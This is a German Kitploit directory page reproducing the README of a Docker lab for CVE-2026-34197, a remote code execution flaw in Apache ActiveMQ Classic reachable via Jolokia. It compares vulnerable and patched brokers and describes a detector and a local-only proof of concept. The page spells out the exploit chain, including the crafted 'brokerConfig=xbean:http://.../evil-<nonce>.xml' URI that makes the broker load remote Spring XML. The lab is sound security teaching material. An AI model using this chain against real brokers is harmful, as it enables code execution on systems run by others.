Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34197-Lab — # Docker-Lab zur Demonstration von CVE-2026-34197, einer Apache ActiveMQ Classic RCE über Jolokia. Enthält einen sicheren Detektor und einen rein lokalen PoC mit festem Befehl, der verwundbare und gepatchte Versionen vergleicht. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Docker-Lab zur Demonstration von CVE-2026-34197, einer Apache ActiveMQ Classic RCE über Jolokia. Enthält einen sicheren Detektor und einen rein lokalen PoC mit festem Befehl, der verwundbare und gepatchte Versionen vergleicht.

Repository anzeigen
12vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE Lab

Überblick

Dieses Repository ist ein lokales Docker-Lab zum Studium von CVE-2026-34197, einer Remote-Code-Execution-Schwachstelle in Apache ActiveMQ Classic, die über die Jolokia-JMX-HTTP-API erreichbar ist.

Das Lab vergleicht zwei ActiveMQ-Classic-Instanzen nebeneinander:

DienstVersionZweckURL
vuln5.19.3Verwundbares Zielhttp://127.0.0.1:8081
patched5.19.4Gepatchtes Vergleichszielhttp://127.0.0.1:8082

Das Repository enthält zwei Proof-Skripte:

SkriptZweckSicherheitsmodell
poc/detect.pyAutorisierter DetektorNur HTTP; nutzt nichts aus
poc/poc.pyLokaler RCE-Pfad-BeweisFester Befehl nur: id; whoami; sleep 5

Der Ausführungsnachweis wird separat vom Betreiber mithilfe von Prozessbeobachtungswerkzeugen wie strace verifiziert.


Schwachstellen-Zusammenfassung

CVE-2026-34197 betrifft Apache ActiveMQ Classic-Versionen, in denen ein authentifizierter Benutzer die Jolokia-API verwenden kann, um Broker-Verwaltungsoperationen aufzurufen und den Broker-JVM dazu zu bringen, über eine manipulierte brokerConfig=xbean:http://...-URI vom Angreifer kontrolliertes Spring-XML zu laden.

Der in diesem Lab demonstrierte verwundbare Ablauf ist:

Jolokia /api/jolokia/
  -> Broker-MBean-Operation
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Remote-Spring-XML-Abruf
  -> ProcessBuilder-Bean-Initialisierung
  -> fester lokaler Beweisbefehl

Der gepatchte Dienst blockiert diesen Pfad, bevor das XML abgerufen wird, und gibt einen Fehler ähnlich wie:

VM scheme is not allowed

Repository-Struktur

.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Dateirollen

  • docker-compose.yml startet die verwundbaren und gepatchten ActiveMQ-Dienste.
  • vuln/Dockerfile erstellt Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile erstellt Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py prüft die Jolokia-Exposition, die ActiveMQ-Version und die Sichtbarkeit der Broker-MBean.
  • poc/poc.py löst den rein lokalen RCE-Pfad mithilfe eines festen harmlosen Befehls aus.
  • images/strace.png enthält lokale Prozessbeobachtungsnachweise vom verwundbaren Dienst.
  • .gitignore schließt lokale Artefakte, Python-Cache-Dateien, virtuelle Umgebungen, Protokolle und Geheimnisse aus.

Sicherheitsgrenzen

Dieses Repository ist nur für die lokale Lab-Nutzung und autorisierte Sicherheitsvalidierung bestimmt.

Der PoC ist bewusst eingeschränkt:

  • Er lehnt nicht-lokale Ziele ab.
  • Er akzeptiert keine beliebigen Befehle.
  • Er verwendet nur den festen Befehl: id; whoami; sleep 5.
  • Er sammelt keine Befehlsausgabe über einen Callback.
  • Er verlässt sich auf eine separate, vom Betreiber kontrollierte Beobachtung wie strace.

Zulässige lokale Ziele für poc.py:

127.0.0.1
localhost
::1

Verwenden Sie dieses Repository nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.


Lab-Einrichtung

Lab erstellen und starten

docker compose down -v
docker compose build
docker compose up -d

Dienststatus prüfen:

docker compose ps

Erwartete Dienste:

cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Jolokia-Versionsendpunkte verifizieren

Verwundbaren Dienst prüfen:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Gepatchten Dienst prüfen:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Erwartete Versionen:

8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Detektor-Verwendung

poc/detect.py ist das sichere Standard-Skript. Es nutzt das Ziel nicht aus.

Es prüft:

  1. ob /api/jolokia/version zugänglich ist;
  2. ob eine Authentifizierung erforderlich ist;
  3. ob das Produkt Apache ActiveMQ ist;
  4. die ActiveMQ-Version;
  5. ob die Broker-MBean über die Jolokia-Suche sichtbar ist;
  6. ob die Version in einen betroffenen Bereich fällt.

Detektor gegen beide Lab-Dienste ausführen

python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Erwartetes Ergebnis:

http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

Was zählt im Detektor als verwundbar?

Der Detektor markiert ein Ziel als LIKELY_VULNERABLE, wenn:

Jolokia ist zugänglich
+
ActiveMQ-Version liegt in einem betroffenen Bereich

In diesem Lab verwendete betroffene Bereiche:

5.x < 5.19.4
6.x < 6.2.3

Die Sichtbarkeit der Broker-MBean wird als Vertrauensnachweis verwendet, da der Exploit-Pfad auf Broker-Verwaltungsoperationen beruht.

Der Detektor behauptet kein CONFIRMED_RCE.


Lokaler RCE-Pfad-PoC

poc/poc.py demonstriert den RCE-Pfad im lokalen Docker-Lab.

Es startet einen temporären HTTP-Server auf dem Host und stellt eine Spring-XML-Nutzlast unter einem pro-Lauf eindeutigen Pfad bereit:

/evil-<nonce>.xml

Anschließend ruft es die ActiveMQ-Broker-MBean über Jolokia auf:

addNetworkConnector(java.lang.String)

mit einer manipulierten Discovery-URI:

static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

Der verwundbare Broker ruft dieses XML ab. Der gepatchte Broker blockiert das vm://-Transport-Schema, bevor das XML abgerufen wird.

Wichtiges Verhalten

Nach einem verwundbaren Lauf kann der erstellte NetworkConnector erneut versuchen, den alten XML-Pfad abzurufen. Das Skript verwendet einen pro-Lauf eindeutigen Nonce und verfolgt matches_current_run, um Fehlalarme zu vermeiden.

Ein Treffer wird nur dann als aktueller Lauf gezählt, wenn er übereinstimmt:

/evil-<current-nonce>.xml

PoC gegen verwundbaren Dienst ausführen

python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Erwartete Ausgabe:

[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Dies bestätigt, dass ActiveMQ 5.19.3 dazu gebracht werden kann, über den Jolokia-verwalteten Broker-Pfad vom Angreifer kontrolliertes Spring-XML abzurufen.


PoC gegen gepatchten Dienst ausführen

python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Erwartete Ausgabe:

VM scheme is not allowed
[-] No XML fetch observed for this run.

Wenn Treffer von einem älteren verwundbaren Lauf erscheinen, sollten sie Folgendes zeigen:

"matches_current_run": false

Diese werden nicht als Erfolg des gepatchten Dienstes gezählt.


Befehlsausführung mit strace bestätigen

Das PoC-Skript sammelt keine Befehlsausgabe. Um die Befehlsausführung zu bestätigen, beobachten Sie die Prozesserstellung im verwundbaren Container.

Als Root in den verwundbaren Container wechseln:

docker exec -it --user root cve-2026-34197-vuln bash

Java-Prozess finden:

pgrep -af java
Tool herunterladen